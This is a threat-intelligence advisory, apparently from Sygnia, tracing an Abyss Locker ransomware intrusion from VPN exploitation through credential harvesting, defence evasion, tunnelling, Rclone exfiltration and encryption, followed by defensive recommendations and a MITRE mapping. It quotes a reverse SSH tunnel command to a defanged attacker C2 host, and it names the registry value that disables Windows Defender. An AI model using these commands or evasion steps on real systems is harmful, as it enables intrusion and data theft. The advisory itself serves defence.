The Anatomy of Abyss Locker Ransomware Attack

Executive Summary

• Abyss Locker (AKA Abyss ransomware) is a relatively new threat group that emerged in 2023, specializing in swift and decisive intrusions designed to cripple victims with ransomware. 
• Abyss Locker was active throughout 2024, causing multiple incidents investigated by Sygnia. However, no recent technical blogs provide detailed insights into the group’s modus operandi.  
• The threat actors behind Abyss Locker consistently employ a TTP of deploying malware on critical network devices to tunnel their activity within the network. This includes targeting VPN appliances, network- attached storage (NAS) and ESXi servers. 
• In this blog, we break down the attack flow of an Abyss Locker ransomware intrusion, highlight common TTPs and provide actionable recommendations on how to defend against these techniques.  

Incident Attack Flow

Initial Access

Sygnia has observed that Abyss Locker intrusions typically begin with the exploitation of unpatched VPN appliances. For example, the threat actor exploited known vulnerabilities, such as CVE-2021-20038, in an unpatched SonicWall VPN appliance. By exploiting the VPN appliance, the threat actor gained access to internal network devices and hosts, deploying additional tunneling tools to maintain persistence and facilitate further access. 

Credential Harvesting

Once inside the compromised network, Abyss Locker frequently targets backup appliances. These appliances often utilize high-privileged service accounts, which are required for access to network resources for back up operations. The threat actor has been observed multiple times leveraging several modified versions of 'Veeam-Get-Creds.ps1'¹ , an open-source PowerShell tool available in the ‘Veeam Credential Recovery’ GitHub project² , to harvest credentials of local and domain accounts stored in the Veeam backup system.

In one instance, a PowerShell script named ‘veeam11.ps1’, which shared significant code similarities with ‘Veeam-Get-Creds.ps1’, was executed.

In another instance, an obfuscated version of ‘Veeam-Get-Creds.ps1’ was deployed.

Another credential harvesting technique observed involved remotely dumping the Windows Security Account Manager (SAM) and Security registry hives on compromised hosts to obtain credential material.

Defense Evasion

The threat actors behind Abyss Locker employ multiple techniques to evade detection and disable security controls on compromised hosts:

• Disable Windows Defender by modifying and setting the registry key ‘HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender” /v DisableAntiSpyware’ value to ‘1’.
• Remove EDR agents or stop their process by using the Task Manager or running as the SYSTEM account on compromised devices.
• Use Bring Your Own Vulnerable Driver (BYOVD) techniques to disable endpoint protection controls. For example:
  •  The ‘UpdateDrv.sys’ driver from Zemana Anti-Logger was observed being used to install a malicious service (‘UpdateSVC’) that disables security controls.
  • Additional vulnerable drivers, such as ‘ped.sys’ (from Process Explorer) and ‘3ware.sys’, were also leveraged for similar purposes.
• Deploy and execute anti-virus and EDR killer executables such as ‘SophosAV.exe’ and ‘auSophos.exe’ to disable endpoint protection on compromised devices.

Command and Control Tools

During their intrusions, Abyss Locker operators deploy multiple tools and malware to maintain persistence using centralized focal points for Command-and-Control (C2) communications.

Sygnia observed a heavy reliance on SSH/SOCKS tunneling, using open-source tools such as Chisel³ and the native SSH binary. After gaining access into the environment and performing reconnaissance, these tunneling tools are strategically deployed on critical network devices, including ESXi hosts, Windows hosts, VPN appliances, and network attached storage (NAS) devices.

By targeting these devices, the attackers ensure robust and reliable communication channels to maintain access and orchestrate their malicious activities across the compromised network.

Windows SSH Tunneling Backdoor

The threat actors deployed an OpenSSH-based tool on Windows hosts to act as an SSH tunnel via remote port-forwarding, in order to maintain a connection to a remote C2 server. A PowerShell script named ‘deploy443.ps1’ was used to install the tool on compromised assets as a persistent service under the name ‘WMI Helper Agent’.

This deployment PowerShell script leveraged the executable ‘WinSW-x64.exe’ from the ‘Windows Service Wrapper in a permissive license’ GitHub project⁴, which is designed to wrap and manage any application as a Windows service. To evade detection, the executable was named ‘wmihelper.exe’, mimicking the legitimate WMIHelper process.

Additionally, the ‘deploy443.ps1’ script created several supporting files for the service setup, including a configuration XML file named ‘wmihelper.xml’, which defined the service parameters. These parameters include:

• The C2 server IP address and port for the reverse shell: 64.95.12[.]57:443.
• The private key used for the SSH session authentication, stored at ‘C:\WINDOWS\system32\config\systemprofile\AppData\Roaming\Microsoft\Wmi\wmihelper.key’.
• The SSH remote port-forwarding – using multiple different ports such as 43801.

ESXi SSH Tunneling

Abyss Locker often targets VMware ESXi appliances within target networks. These appliances are both reliable and stable within the network and provide access to the internal virtual servers hosted on them.  Sygnia observed that the attackers often achieve compromise by tunneling through the organization’s VPN and pivoting to the VMware ESXi host, where they set up an additional SSH tunnel.

If SSH access is disabled on the ESXi host, the threat actor enables it by initiating the SSH daemon ‘sshd’ process. Once SSH access is established, they utilize the native SSH binary to connect to their Command-and-Control (C2) server, leveraging the ESXi host as a pivot point to scan the network.

To establish a reverse SSH tunnel to back to their C2 server, the threat actor executes a command similar to ‘SSH -p 443 -N -f -o ServerAliveInterval=240 -o StrictHostKeyChecking=no -R 127.0.0.1:48000 [email protected][.]70’

NAS Device Tunneling Tool

NAS devices are another common target exploited by Abyss Locker. These devices are often used as pivot points to tunnel traffic into the corporate network, enabling further intrusion and lateral movement. The observed compromise flow on these devices typically involves the following steps:

1. Access the NAS web interface (e.g., ‘DiskStation Manager – DSM’) using the ‘admin’ account from an internal IP address.
2. Enable the SSH service through the DSM.
3. Connect to the NAS device via SSH.
4. Create a backdoor user named ‘support’ and add this account to a privileged group.

After compromising the NAS devices, the threat actor deploys a tunneling tool, often using ‘Chisel’, an open-source utility⁵ that enables tunneling, to connect the asset to their C2 infrastructure. To evade detection, the threat actor often renames these tools as legitimate processes, such as ‘apache2’.

Next, the threat actor attempts to clear the bash history on the compromised devices to remove traces of their activities and reduce the likelihood of detection.

Lateral Movement

Abyss Locker leverages multiple off-the-shelf tools to move laterally within the network, primarily relying on compromised credentials to access and navigate between devices. Commonly used tools include PsExec, and scripts from the open-source project Impacket⁶ such as SMBExec and ATExec.

The execution of PsExec results in the creation of key files on the target machine, which include the hostname of the source host in its filename. These hostnames are in fact machines that belong to the threat actor.

Exfiltration

To exfiltrate data from the network, Abyss Locker utilize the command-line tool ‘Rclone’⁷. Consistent with their approach to evasion, the threat actors rename the ‘Rclone’ executable to other names such as ‘ltsvc.exe’ to evade detection. Using ‘Rclone’ the threat actor exfiltrates stolen data primarily to two legitimate cloud storage providers: Amazon Web Services (AWS) and BackBlaze. The tool was configured with filters to target specific file extensions, allowing the threat actors to selectively exfiltrate data of interest while avoiding unnecessary files

Encryption

After achieving full access to the network and exfiltrating sufficient data, Abyss Locker deploys its ransomware. The ransomware targets both Windows systems and ESXi hosts, using distinct file extensions for encrypted files:

• ‘.Abyss’ on Windows systems
• ‘.crypt’ on ESXi hosts

As part of the encryption process, the ransomware creates ransom notes on compromised systems under the name ‘WhatHappened.txt’. Additionally, Abyss Locker attempts to delete volume shadow copies from affected hosts, hindering data recovery efforts.

Defending Against Abyss Locker

The following recommendations reflect Sygnia’s strategic approach to mitigating Abyss Locker and similar threat actors. Rooted in security best practices, they align with a recommended security baseline to strengthen your organization’s resilience against advanced ransomware threats.

Prevent

1. Secure Edge Devices: Limit traffic to essential protocols, block access to management interfaces, use Geo-IP restrictions, and configure firewalls to inspect traffic and block management ports.
2. Implement Network Segmentation: Micro-segment critical infrastructure into isolated VLANs to inhibit lateral movement, separate management from backup traffic using firewalls, and enforce inter-VLAN communication through stateful firewalls permitting only essential traffic.
3. Protect Credentials: Enforce PAM solutions, mitigate SAM dumping with Credential Guard, reduce local admin privileges, and audit registry access attempts.
4. Ensure Backup Security: Use immutable storage with AES-256 encryption and isolate backups in dedicated VLANs with strict firewall rules.
5. Protect Endpoints: Remove vulnerable drivers, restrict kernel-mode driver installation, enable tamper protection in EDR solutions, and enforce execution of only signed, approved binaries through application control policies.

Detect

1. Monitor Activity on Edge Devices: Monitor SSH and SOCKS tunneling activity with tools like Chisel and filter DNS traffic for anomalous C2 queries using tools like Cisco Umbrella or OpenDNS.
2. Monitor ESXi and NAS: Monitor ESXi logs for unauthorized SSH access or administrative changes, and configure alerts for NAS configuration changes, creation of new user accounts, or log tampering attempts. For a guide on monitoring and conducting threat hunting on ESXi devices, refer to Sygnia’s blog: https://www.sygnia.co/blog/esxi-ransomware-ssh-tunneling-defense-strategies/
3. Forward Logs for Analysis: Deploy Sysmon (Windows) or Auditd/Osquery (Linux) for monitoring, and forward logs to a centralized SIEM to detect ransomware behaviours like rapid file changes or malicious script execution.
4. Enable Backup Tampering Detection: Set alerts for suspicious backup activities, such as mass deletion or retention policy changes, and enable immutable logging for all backup operations.

Govern

1. Implement Access Governance: Implement strict RBAC across critical systems, enforce MFA for management interfaces secured via jump servers, and use authentication silos to restrict service account logins.
2. Conduct Timely Patch Management and Vulnerability Mitigation: Patch critical systems within seven days of release or immediately for known exploits, and conduct regular vulnerability scans, prioritizing remediation.
3. Require Privileged Identity Management (PIM): Require one-time passwords for privileged accounts and regularly audit them to remove unused or excessive permissions.

Appendix I – Indicators of compromise

Appendix II: MITRE ATT&CK Matrix Mapping

1. Initial Access
   • T1133 – External Remote Services
2. Persistence
   • T1543.003 – Create or Modify System Process: Windows Service
   • T1136.001 – Create Account: Local Account
3. Privilege Escalation
   • T1078 – Valid Accounts: Local Accounts
   • T1068 – Exploitation for Privilege Escalation
4. Defense Evasion
   • T1562.001 – Impair Defenses: Disable or Modify Tools
   • T1036.005 – Masquerading: Match Legitimate Name or Location
5. Credential Access 
   • T1555 – Credentials from Password Stores 
   • T1003.002 – OS Credential Dumping: Security Account Manager (SAM)
6. Discovery 
   • T1046 – Network Service Discovery  
7. Lateral Movement 
   • T1021.001 – Remote Services: Remote Desktop Protocol 
   • T1021.004 – Remote Services: SSH 
   • T1570 – Lateral Tool Transfer 
8. Collection 
   • T1005 – Data from Local System 
   • T1039 – Data from Network Shared Drive 
9. Command and Control  
   • T1071.001 – Application Layer Protocol: Web Protocols 
   • T1219 – Remote Access Software
   • T1572 – Protocol Tunneling
10. Exfiltration 
    • T1567.002 – Exfiltration Over Web Service: Exfiltration to Cloud Storage 
11. Impact 
    • T1486 – Data Encrypted for Impact
    • T1490 – Inhibit System Recovery 

Appendix III – Mapping Attack Technics to Mitigations

If you were impacted by this attack or are seeking guidance on how to prevent similar attacks, please contact us at [email protected] or our 24-hour hotline +1-877-686-8680. 

Contributors: Eldad Hoshen, Ofir Almkias, Luis Garcia.

1. https://github.com/sadshade/veeam-creds/blob/main/Veeam-Get-Creds.ps1 ↩︎
2. https://github.com/sadshade/veeam-creds ↩︎
3. https://github.com/jpillora/chisel ↩︎
4. https://github.com/winsw/winsw ↩︎
5. https://github.com/jpillora/chisel ↩︎
6. https://github.com/fortra/impacket ↩︎
7. https://github.com/rclone/rclone ↩︎

This advisory and any information or recommendation contained herein has been prepared for general informational purposes and is not intended to be used as a substitute for professional consultation on facts and circumstances specific to any entity. While we have made attempts to ensure the information contained herein has been obtained from reliable sources and to perform rigorous analysis, this advisory is based on initial rapid study, and needs to be treated accordingly. Sygnia is not responsible for any errors or omissions, or for the results obtained from the use of this Advisory. This Advisory is provided on an as-is basis, and without warranties of any kind.